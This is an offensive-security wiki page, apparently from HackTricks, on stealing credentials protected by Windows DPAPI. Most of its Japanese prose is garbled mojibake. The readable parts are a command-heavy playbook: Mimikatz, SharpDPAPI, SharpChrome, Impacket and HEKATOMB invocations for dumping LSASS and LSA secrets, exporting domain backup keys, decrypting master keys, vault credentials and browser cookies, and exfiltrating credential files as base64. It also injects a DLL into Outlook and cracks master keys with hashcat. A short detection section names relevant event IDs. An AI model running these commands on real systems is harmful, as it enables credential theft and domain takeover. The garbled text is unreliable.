DPAPI - ãã¹ã¯ãŒãæœåº
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
DPAPIãšã¯
The Data Protection API (DPAPI) ã¯äž»ã« Windows ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã å ã§ããŠãŒã¶ãŒãŸãã¯ã·ã¹ãã ã®ã·ãŒã¯ã¬ããããšã³ããããŒæºãšããŠå©çšããé察称ç§å¯éµã®å¯Ÿç§°æå·åã«çšããããŸããããã«ãããéçºè ã¯æå·åããŒã®ä¿è·ãèªåã§ç®¡çããå¿ èŠããªãããŠãŒã¶ãŒã®ãã°ãªã³ã·ãŒã¯ã¬ããããæŽŸçããããŒïŒãŸãã¯ã·ã¹ãã æå·åã®å Žåã¯ã·ã¹ãã ã®ãã¡ã€ã³èªèšŒã·ãŒã¯ã¬ããïŒã䜿ã£ãŠããŒã¿ãæå·åã§ãããããæå·ååŠçãç°¡çŽ åãããŸãã
æãäžè¬ç㪠DPAPI ã®å©ç𿹿³ã¯ CryptProtectData and CryptUnprotectData 颿°ãéããŠã§ãããã«ããã¢ããªã±ãŒã·ã§ã³ã¯çŸåšãã°ãªã³ããŠããããã»ã¹ã®ã»ãã·ã§ã³ã§å®å
šã«ããŒã¿ãæå·åã»åŸ©å·ã§ããŸããã€ãŸããæå·åãããããŒã¿ã¯ãããæå·åããã®ãšåããŠãŒã¶ãŒãŸãã¯ã·ã¹ãã ã§ãªããã°åŸ©å·ã§ããŸããã
ããã«ããããã®é¢æ°ã¯ entropy parameter ãåãåããæå·åãšåŸ©å·ã®äž¡æ¹ã§äœ¿çšãããããããã®ãã©ã¡ãŒã¿ã䜿ã£ãŠæå·åããããã®ã埩å·ããã«ã¯ãæå·åæã«äœ¿çšããã®ãšåããšã³ããããŒå€ãæäŸããå¿
èŠããããŸãã
ãŠãŒã¶ãŒããŒçæ
DPAPI ã¯åãŠãŒã¶ãŒããšã«äžæã®ããŒïŒpre-key ãšåŒã°ããïŒããŠãŒã¶ãŒã®èªèšŒæ
å ±ã«åºã¥ããŠçæããŸãããã®ããŒã¯ãŠãŒã¶ãŒã®ãã¹ã¯ãŒãããã®ä»ã®èŠçŽ ããæŽŸçããã¢ã«ãŽãªãºã ã¯ãŠãŒã¶ãŒã®çš®é¡ã«äŸåããŸããæçµçã«ã¯ SHA1 ã«ãªããŸããäŸãã°ããã¡ã€ã³ãŠãŒã¶ãŒã®å Žå㯠ãŠãŒã¶ãŒã® NTLM ããã·ã¥ã«äŸåããŸãã
ããã¯ç¹ã«éèŠã§ãæ»æè ããŠãŒã¶ãŒã®ãã¹ã¯ãŒãããã·ã¥ãå ¥æã§ããã°ã次ã®ããšãå¯èœã«ãªããŸã:
- ãã®ãŠãŒã¶ãŒã®ããŒã§ DPAPI ã«ãã£ãŠæå·åãããä»»æã®ããŒã¿ããAPI ã«åãåãããããšãªã埩å·ãã
- ãªãã©ã€ã³ã§ ãã¹ã¯ãŒããã¯ã©ã㯠ããŠæå¹ãª DPAPI ããŒãçæããããšãã
ããã«ããŠãŒã¶ãŒã DPAPI ã䜿ã£ãŠããŒã¿ãæå·åãããã³ã«æ°ãã ãã¹ã¿ãŒã㌠ãçæãããŸãããã®ãã¹ã¿ãŒããŒãå®éã«ããŒã¿ã®æå·åã«äœ¿çšãããŸããåãã¹ã¿ãŒããŒã«ã¯ãããèå¥ãã GUIDïŒGlobally Unique IdentifierïŒãä»äžãããŸãã
ãã¹ã¿ãŒããŒã¯ %APPDATA%\Microsoft\Protect\<sid>\<guid> ãã£ã¬ã¯ããªã«ä¿åãããŸããããã§ {SID} ã¯ãã®ãŠãŒã¶ãŒã® Security Identifier ã§ãããã¹ã¿ãŒããŒã¯ãŠãŒã¶ãŒã® pre-key ã«ããæå·åãããŠä¿åãããå埩çšã« ãã¡ã€ã³ããã¯ã¢ããã㌠ã«ãã£ãŠãæå·åãããŸãïŒåãããŒãç°ãªã2ã€ã®æ¹æ³ã§æå·åãããŠä¿åãããããšã«ãªããŸãïŒã
泚æïŒãã¹ã¿ãŒããŒãæå·åããããã«äœ¿çšããã ãã¡ã€ã³ããŒã¯ãã¡ã€ã³ã³ã³ãããŒã©ã«ååšãå€ããããšã¯ãããŸããããããã£ãŠãæ»æè ããã¡ã€ã³ã³ã³ãããŒã©ã«ã¢ã¯ã»ã¹ã§ããã°ããã¡ã€ã³ããã¯ã¢ããããŒãååŸããŠãã¡ã€ã³å ã®ãã¹ãŠã®ãŠãŒã¶ãŒã®ãã¹ã¿ãŒããŒã埩å·ã§ããŸãã
æå·åããããããã¯ãããããŒå ã«ããŒã¿ãæå·åããããã«äœ¿ããã ãã¹ã¿ãŒããŒã® GUID ãå«ãã§ããŸãã
Tip
DPAPI encrypted blobs starts with
01 00 00 00
ãã¹ã¿ãŒããŒãæ¢ã:
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
This is what a bunch of Master Keys of a user will looks like:
.png)
ãã·ã³ïŒã·ã¹ãã éµã®çæ
ããã¯ãã·ã³ãããŒã¿ãæå·åããããã«äœ¿çšããããŒã§ããDPAPI_SYSTEM LSA secret ã«åºã¥ããŠããããã㯠SYSTEM ãŠãŒã¶ãŒã®ã¿ãã¢ã¯ã»ã¹ã§ããç¹å¥ãªããŒã§ãããã®ããŒã¯ããã·ã³ã¬ãã«ã®è³æ Œæ å ±ãã·ã¹ãã å šäœã®ã·ãŒã¯ã¬ãããªã©ãã·ã¹ãã èªèº«ãã¢ã¯ã»ã¹ããå¿ èŠãããããŒã¿ãæå·åããããã«äœ¿çšãããŸãã
ãããã®ããŒã¯ donât have a domain backup ãªã®ã§ãããŒã«ã«ã§ã®ã¿ã¢ã¯ã»ã¹å¯èœã§ããç¹ã«æ³šæããŠãã ãã:
- Mimikatz ã¯
mimikatz lsadump::secretsã³ãã³ãã§ LSA secret ããã³ãããŠã¢ã¯ã»ã¹ã§ããŸã - ã·ãŒã¯ã¬ããã¯ã¬ãžã¹ããªå
ã«ä¿åãããŠããããã管çè
ã modify the DACL permissions to access it ããããšã§ã¢ã¯ã»ã¹å¯èœã«ãªããŸããã¬ãžã¹ããªãã¹ã¯:
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM - registry hives ããã®ãªãã©ã€ã³æœåºãå¯èœã§ããããšãã°ãã¿ãŒã²ããäžã§ç®¡çè ãšããŠãã€ããä¿åããŠæã¡åºã:
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
reg save HKLM\SECURITY C:\Windows\Temp\security.hiv
ãã®åŸãåæçšããã¯ã¹ã§hivesããDPAPI_SYSTEM LSA secretãæœåºããããã䜿ã£ãŠmachine-scope blobsïŒscheduled task passwordsãservice credentialsãWiâFi profilesãªã©ïŒã埩å·ããŸãïŒ
mimikatz lsadump::secrets /system:C:\path\system.hiv /security:C:\path\security.hiv
# Look for the DPAPI_SYSTEM secret in the output
DPAPI ã«ãã£ãŠä¿è·ãããããŒã¿
å人ããŒã¿ãšã㊠DPAPI ã«ããä¿è·ãããŠãããã®ã«ã¯ä»¥äžãå«ãŸãã:
- Windows ã®èªèšŒæ å ±
- Internet Explorer ããã³ Google Chrome ã®ãã¹ã¯ãŒããšèªåå ¥åããŒã¿
- Outlook ã Windows Mail ã®ãããªã¢ããªã±ãŒã·ã§ã³ã«ãããã¡ãŒã«ããã³å éš FTP ã¢ã«ãŠã³ãã®ãã¹ã¯ãŒã
- å ±æãã©ã«ãããªãœãŒã¹ãç¡ç·ãããã¯ãŒã¯ãWindows Vault ã®ãã¹ã¯ãŒãïŒæå·åããŒãå«ãïŒ
- ãªã¢ãŒããã¹ã¯ãããæ¥ç¶ã.NET Passportãããã³åçš®æå·åã»èªèšŒçšã®ç§å¯éµã®ãã¹ã¯ãŒã
- Credential Manager ã§ç®¡çããããããã¯ãŒã¯ãã¹ã¯ãŒãããCryptProtectData ã䜿çšããã¢ããªã±ãŒã·ã§ã³ïŒSkypeãMSN messenger ãªã©ïŒå ã®å人ããŒã¿
- ã¬ãžã¹ããªå ã®æå·åãããããã
- âŠ
ã·ã¹ãã ã§ä¿è·ãããããŒã¿ã«ã¯:
- WiâFi ãã¹ã¯ãŒã
- ã¹ã±ãžã¥ãŒã«ãããã¿ã¹ã¯ã®ãã¹ã¯ãŒã
- âŠ
ãã¹ã¿ãŒããŒã®æœåºãªãã·ã§ã³
- ãŠãŒã¶ãŒã domain admin privileges ãæã£ãŠããå Žåãdomain backup key ã«ã¢ã¯ã»ã¹ããŠãã¡ã€ã³å ã®ãã¹ãŠã®ãŠãŒã¶ãŒãã¹ã¿ãŒããŒã埩å·ã§ãã:
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
- ããŒã«ã«ç®¡çè æš©éãããã°ãLSASS ã¡ã¢ãªã«ã¢ã¯ã»ã¹ããŠãæ¥ç¶äžã®ãã¹ãŠã®ãŠãŒã¶ãŒã® DPAPI ãã¹ã¿ãŒã㌠㚠SYSTEM ããŒãæœåºã§ããŸãã
# Mimikatz
mimikatz sekurlsa::dpapi
- ãŠãŒã¶ãŒãããŒã«ã«ç®¡çè æš©éãæã£ãŠããå ŽåãDPAPI_SYSTEM LSA secret ã«ã¢ã¯ã»ã¹ã㊠machine master keys ã埩å·ã§ããŸã:
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
- ãŠãŒã¶ãŒã®passwordãŸãã¯hash NTLMã倿ããŠããå ŽåããŠãŒã¶ãŒã®master keysãçŽæ¥åŸ©å·ã§ããŸã:
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
- ãŠãŒã¶ãŒãšããŠã»ãã·ã§ã³å ã«ããå ŽåãDC ã«å¯Ÿã㊠backup key to decrypt the master keys using RPC ãèŠæ±ããããšãå¯èœã§ããããŒã«ã«ç®¡çè ã§ãã€ãŠãŒã¶ãŒããã°ãªã³ããŠããå Žåããã®ç®çã®ããã« steal his session token ãè¡ãããšãã§ããŸã:
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
Vaultã®äžèЧ
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
DPAPI æå·åããŒã¿ãžã®ã¢ã¯ã»ã¹
DPAPI æå·åããŒã¿ãèŠã€ãã
äžè¬ãŠãŒã¶ãŒã®ä¿è·ããããã¡ã€ã«ã¯æ¬¡ã®å Žæã«ãããŸã:
C:\Users\username\AppData\Roaming\Microsoft\Protect\*C:\Users\username\AppData\Roaming\Microsoft\Credentials\*C:\Users\username\AppData\Roaming\Microsoft\Vault\*- äžèšãã¹ã§
\Roaming\ã\Local\ã«å€æŽããå Žåã確èªããŠãã ããã
åæã®äŸ:
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
SharpDPAPI ã¯ãã¡ã€ã«ã·ã¹ãã ãã¬ãžã¹ããªãããã³ B64 blobs å ã® DPAPI æå·åããã blobs ãèŠã€ããããšãã§ããŸã:
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
# Search blobs in folders
search /type:folder /path:C:\path\to\folder
search /type:folder /path:C:\Users\username\AppData\
# Search a blob inside a file
search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
泚æ: SharpChromeïŒåããªããžããªããïŒã¯ DPAPI ã䜿çšã㊠cookies ã®ãããªæ©å¯ããŒã¿ã埩å·ããããã«äœ¿çšã§ããŸãã
Chromium/Edge/Electron ã¯ã€ãã¯ã¬ã·ã (SharpChrome)
- Current userãã€ã³ã¿ã©ã¯ãã£ã㪠saved logins/cookies ã®åŸ©å·ïŒuser context ã§å®è¡ãããšè¿œå ããŒã userâs Credential Manager ãã解決ããããããChrome 127+ ã® app-bound cookies ã«ã察å¿ããŸãïŒ:
SharpChrome logins /browser:edge /unprotect
SharpChrome cookies /browser:chrome /format:csv /unprotect
- Offline analysis â ãã¡ã€ã«ãããªãå Žåã¯ããŸããããã¡ã€ã«ã® âLocal Stateâ ãã AES state key ãæœåºããããã䜿ã£ãŠ cookie DB ã埩å·ããŸã:
# Dump the AES state key from Local State (DPAPI will be used if running as the user)
SharpChrome statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect
# Copy the hex state key value (e.g., "48F5...AB") and pass it to cookies
SharpChrome cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:48F5...AB /format:json
- Domain-wide/remote triage: DPAPI ãã¡ã€ã³ããã¯ã¢ããã㌠(PVK) ãææããã¿ãŒã²ãããã¹ãã§ admin æš©éãããå Žå:
SharpChrome cookies /server:HOST01 /browser:edge /pvk:BASE64
SharpChrome logins /server:HOST01 /browser:chrome /pvk:key.pvk
- ãŠãŒã¶ãŒã® DPAPI prekey/credkey (from LSASS) ãæã£ãŠããã°ãpassword cracking ãã¹ãããã㊠profile data ãçŽæ¥ decrypt ã§ããŸã:
# For SharpChrome use /prekey; for SharpDPAPI use /credkey
SharpChrome cookies /browser:edge /prekey:SHA1_HEX
SharpDPAPI.exe credentials /credkey:SHA1_HEX
泚æ
- æ°ãã Chrome/Edge ãã«ãã§ã¯ãç¹å®ã®ã¯ãããŒã âApp-Boundâ æå·åã§ä¿åããããšããããŸãããããã®ç¹å®ã®ã¯ãããŒã¯ã远å ã® App-Bound ããŒããªããšãªãã©ã€ã³ã§åŸ©å·ã§ããŸãããã¿ãŒã²ãããŠãŒã¶ãŒã®ã³ã³ããã¹ãã§ SharpChrome ãå®è¡ãããšèªåçã«ååŸãããŸããäžèšã® Chrome ã»ãã¥ãªãã£ããã°æçš¿ãåç §ããŠãã ããã
ã¢ã¯ã»ã¹ããŒãšããŒã¿
- SharpDPAPI ã䜿çšããŠãçŸåšã®ã»ãã·ã§ã³ãã DPAPI æå·åããããã¡ã€ã«ã®è³æ Œæ å ±ãååŸããŸã:
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
- è³æ Œæ å ±ãååŸããïŒæå·åãããããŒã¿ã guidMasterKey ãªã©ïŒã
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
- masterkeysã«ã¢ã¯ã»ã¹ãã:
RPCã䜿çšããŠãdomain backup keyãèŠæ±ãããŠãŒã¶ãŒã®masterkeyã埩å·ãã:
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
SharpDPAPI ããŒã«ã¯ããã¹ã¿ãŒããŒã®åŸ©å·åã®ããã«ä»¥äžã®åŒæ°ããµããŒãããŸãïŒ/rpc ã§ãã¡ã€ã³ã®ããã¯ã¢ããããŒãååŸãããã/password ã§å¹³æãã¹ã¯ãŒãã䜿çšãããã/pvk ã§ DPAPI ãã¡ã€ã³ã®ãã©ã€ããŒãã㌠ãã¡ã€ã«ãæå®ãããã§ããç¹ã«æ³šæããŠãã ããâŠïŒïŒ
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
- masterkey ã䜿çšããŠããŒã¿ã埩å·ãã:
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
The SharpDPAPI ããŒã«ã¯ credentials|vaults|rdg|keepass|triage|blob|ps ã®åŸ©å·åã«å¯ŸããŠããããã®åŒæ°ããµããŒãããŸãïŒ/rpc ã䜿ã£ãŠãã¡ã€ã³ã®ããã¯ã¢ããããŒãååŸãããã/password ã§å¹³æãã¹ã¯ãŒãã䜿çšãããã/pvk ã§ DPAPI ãã¡ã€ã³ã®ãã©ã€ããŒãã㌠ãã¡ã€ã«ãæå®ãããã/unprotect ã§çŸåšã®ãŠãŒã¶ãŒã»ãã·ã§ã³ã䜿çšãããã§ããç¹ã«æ³šæããŠãã ããâŠ):
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
Targeting:
/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER - triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
- DPAPI prekey/credkey ãçŽæ¥äœ¿çšããïŒãã¹ã¯ãŒãäžèŠïŒ
LSASS ããã³ãã§ããå ŽåãMimikatz ã¯ãã°ãªã³ããšã® DPAPI ããŒãé²åããããšããããããã䜿ã£ãŠå¹³æã®ãã¹ã¯ãŒããç¥ããªããŠããŠãŒã¶ãŒã® masterkeys ã埩å·ã§ããŸãããã®å€ãããŒã«ã«çŽæ¥æž¡ããŸã:
# SharpDPAPI accepts the "credkey" (domain or local SHA1)
SharpDPAPI.exe triage /credkey:SHA1_HEX
# SharpChrome accepts the same value as a "prekey"
SharpChrome logins /browser:edge /prekey:SHA1_HEX
- çŸåšã®ãŠãŒã¶ãŒã»ãã·ã§ã³ã䜿çšããŠããã€ãã®ããŒã¿ã埩å·ãã:
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
Impacket dpapi.py ã䜿ã£ããªãã©ã€ã³åŸ©å·
被害è ãŠãŒã¶ãŒã® SID ãšãã¹ã¯ãŒãïŒãŸã㯠NT hashïŒãæã£ãŠããã°ãImpacket ã® dpapi.py ã䜿çšã㊠DPAPI ãã¹ã¿ãŒããŒã Credential Manager blobs ãå®å šã«ãªãã©ã€ã³ã§åŸ©å·ã§ããŸãã
-
ãã£ã¹ã¯äžã®ã¢ãŒãã£ãã¡ã¯ããç¹å®ãã:
-
Credential Manager blob(s): %APPDATA%\Microsoft\Credentials<hex>
-
Matching masterkey: %APPDATA%\Microsoft\Protect<SID>{GUID}
-
ãã¡ã€ã«è»¢éããŒã«ãäžå®å®ãªå Žåã¯ããã¡ã€ã«ããã¹ãäžã§ base64 ãšã³ã³ãŒããããã®åºåãã³ããŒããŠãã ãã:
# Base64-encode files for copy/paste exfil
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407"))
- ãŠãŒã¶ãŒã®SIDãšpassword/hashãçšããŠmasterkeyã埩å·ãã:
# Plaintext password
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!'
# Or with NT hash
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX>
- åŸ©å·æžã¿ã® masterkey ã䜿ã£ãŠ credential blob ã埩å·ãã:
python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX>
# Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN
# Username=<user> ; Password=<cleartext>
ãã®ã¯ãŒã¯ãããŒã¯ãWindows Credential Manager ã䜿çšããã¢ããªã«ãã£ãŠä¿åããããã¡ã€ã³è³æ Œæ
å ±ïŒäŸ: *_adm ãå«ã管çè
ã¢ã«ãŠã³ãïŒãå埩ããããšããããããŸãã
ãªãã·ã§ã³ã®ãšã³ããããŒïŒâThird-party entropyâïŒã®æ±ã
äžéšã®ã¢ããªã±ãŒã·ã§ã³ã¯ CryptProtectData ã«è¿œå ã® entropy å€ãæž¡ããŸãããã®å€ããªããã°ãããšãæ£ãã masterkey ã倿ããŠããŠã blob ã埩å·ã§ããŸããããã®ããããã®æ¹æ³ã§ä¿è·ãããè³æ Œæ
å ±ïŒäŸ: Microsoft Outlookãããã€ãã® VPN ã¯ã©ã€ã¢ã³ãïŒãçãå Žå㯠entropy ãååŸããããšãäžå¯æ¬ ã§ãã
EntropyCapture (2022) ã¯ãã¿ãŒã²ããããã»ã¹å
ã® DPAPI 颿°ã«ããã¯ã仿ããæž¡ãããä»»æã®ãªãã·ã§ã³ entropy ãééçã«èšé²ãã user-mode DLL ã§ããoutlook.exe ã vpnclient.exe ã®ãããªããã»ã¹ã«å¯Ÿã㊠DLL-injection ã¢ãŒãã§ EntropyCapture ãå®è¡ãããšãå entropy ãããã¡ãåŒã³åºãå
ããã»ã¹ãš blob ã«ãããã³ã°ãããã¡ã€ã«ãåºåãããŸãããã£ããã£ãã entropy ã¯åŸã§ SharpDPAPI (/entropy:) ã Mimikatz (/entropy:<file>) ã«æž¡ããŠããŒã¿ã埩å·ããããšãã§ããŸãã
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
masterkeys ããªãã©ã€ã³ã§ã¯ã©ãã¯ãã (Hashcat & DPAPISnoop)
Microsoft 㯠Windows 10 v1607 (2016) ãã context 3 ã® masterkey ãã©ãŒããããå°å
¥ããŸããã hashcat v6.2.6 (December 2023) ã¯ããã·ã¥ã¢ãŒã 22100 (DPAPI masterkey v1 context ), 22101 (context 1) ããã³ 22102 (context 3) ã远å ããmasterkey ãã¡ã€ã«ããçŽæ¥ãŠãŒã¶ãŒãã¹ã¯ãŒãã GPU å éã§ã¯ã©ãã¯ã§ããããã«ãªããŸãããæ»æè
ã¯ãã®ãããã¿ãŒã²ããã·ã¹ãã ãšå¯Ÿè©±ããããšãªãã¯ãŒããªã¹ãæ»æããã«ãŒããã©ãŒã¹æ»æãå®è¡ã§ããŸãã
DPAPISnoop (2024) ããã®ããã»ã¹ãèªååããŸãïŒ
# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
The tool can also parse Credential and Vault blobs, decrypt them with cracked keys and export cleartext passwords.
ä»ã®ãã·ã³ã®ããŒã¿ã«ã¢ã¯ã»ã¹
In SharpDPAPI and SharpChrome you can indicate the /server:HOST option to access a remote machineâs data. Of course you need to be able to access that machine and in the following example itâs supposed that the ãã¡ã€ã³ã®ããã¯ã¢ããæå·åããŒãæ¢ç¥ã§ãã:
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
ãã®ä»ã®ããŒã«
HEKATOMB
HEKATOMB ã¯LDAPãã£ã¬ã¯ããªãããã¹ãŠã®ãŠãŒã¶ãšã³ã³ãã¥ãŒã¿ãæœåºããRPCçµç±ã§ãã¡ã€ã³ã³ã³ãããŒã©ã®ããã¯ã¢ããããŒãæœåºããåŠçãèªååããããŒã«ã§ããã¹ã¯ãªããã¯ãã®åŸããã¹ãŠã®ã³ã³ãã¥ãŒã¿ã®IPã¢ãã¬ã¹ã解決ããåã³ã³ãã¥ãŒã¿ã«å¯ŸããŠsmbclientãå®è¡ããŠå šãŠãŒã¶ã®DPAPI blobsãååŸãããã¡ã€ã³ã®ããã¯ã¢ããããŒã§äžæ¬åŸ©å·ããŸãã
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
LDAPããæœåºããã³ã³ãã¥ãŒã¿äžèЧã䜿ãã°ãç¥ããªãã£ããµããããããã¹ãŠèŠã€ããããŸãïŒ
DonPAPI 2.x (2024-05)
DonPAPI ã¯DPAPIã§ä¿è·ãããã·ãŒã¯ã¬ãããèªåã§ãã³ãã§ããŸãã2.x ãªãªãŒã¹ã§å°å ¥ãããæ©èœ:
- æ°çŸå°ã®ãã¹ãããã® blobs ã®äžŠååé
- context 3 masterkeys ã®è§£æãš Hashcat ãšã®èªå飿ºã«ããã¯ã©ããã³ã°çµ±å
- Chrome âApp-Boundâ æå·åã¯ãããŒã®ãµããŒãïŒæ¬¡ç¯ãåç §ïŒ
- æ°ãã
--snapshotã¢ãŒãã«ããããšã³ããã€ã³ããç¹°ãè¿ãããŒãªã³ã°ããŠæ°èŠäœæããã blobs ã®å·®åãååŸ
DPAPISnoop
DPAPISnoop 㯠masterkey/credential/vault ãã¡ã€ã«åãã® C# ããŒãµã§ãHashcat/JtR 圢åŒãåºåã§ãããªãã·ã§ã³ã§èªåçã«ã¯ã©ããã³ã°ãåŒã³åºãããšãã§ããŸããWindows 11 24H1 ãŸã§ã® machine ããã³ user ã® masterkey ãã©ãŒããããå®å šã«ãµããŒãããŸãã
äžè¬çãªæ€åº
C:\Users\*\AppData\Roaming\Microsoft\Protect\*ãC:\Users\*\AppData\Roaming\Microsoft\Credentials\*ããã³ãã®ä»ã® DPAPI é¢é£ãã£ã¬ã¯ããªãžã®ã¢ã¯ã»ã¹ã- ç¹ã« C$ ã ADMIN$ ã®ãããªãããã¯ãŒã¯å ±æçµç±ã§ã®ã¢ã¯ã»ã¹ã
- LSASS ã¡ã¢ãªã«ã¢ã¯ã»ã¹ããã masterkeys ããã³ãããããã« Mimikatz, SharpDPAPI ãªã©ã®ããŒã«ã䜿çšããããšã
- ã€ãã³ã 4662: An operation was performed on an object â
BCKUPKEYãªããžã§ã¯ããžã®ã¢ã¯ã»ã¹ãšçžé¢ã¥ããããå¯èœæ§ããããŸãã - ããã»ã¹ã SeTrustedCredManAccessPrivilegeïŒCredential ManagerïŒãèŠæ±ããå Žåã®ã€ãã³ã 4673/4674ã
2023-2025 ã®è匱æ§ãšãšã³ã·ã¹ãã ã®å€å
- CVE-2023-36004 â Windows DPAPI Secure Channel Spoofing (2023幎11æ)ããããã¯ãŒã¯ã¢ã¯ã»ã¹ãæã€æ»æè ããã¡ã€ã³ã¡ã³ããŒãéšããŠæªæãã DPAPI ããã¯ã¢ããããŒãååŸããããŠãŒã¶ã® masterkeys ã埩å·ã§ããå¯èœæ§ããããŸããã2023幎11æã®çޝç©ã¢ããããŒãã§ä¿®æ£æžã¿ã§ã â 管çè 㯠DC ããã³ã¯ãŒã¯ã¹ããŒã·ã§ã³ãå®å šã«ãããé©çšãããŠããããšã確èªããŠãã ããã
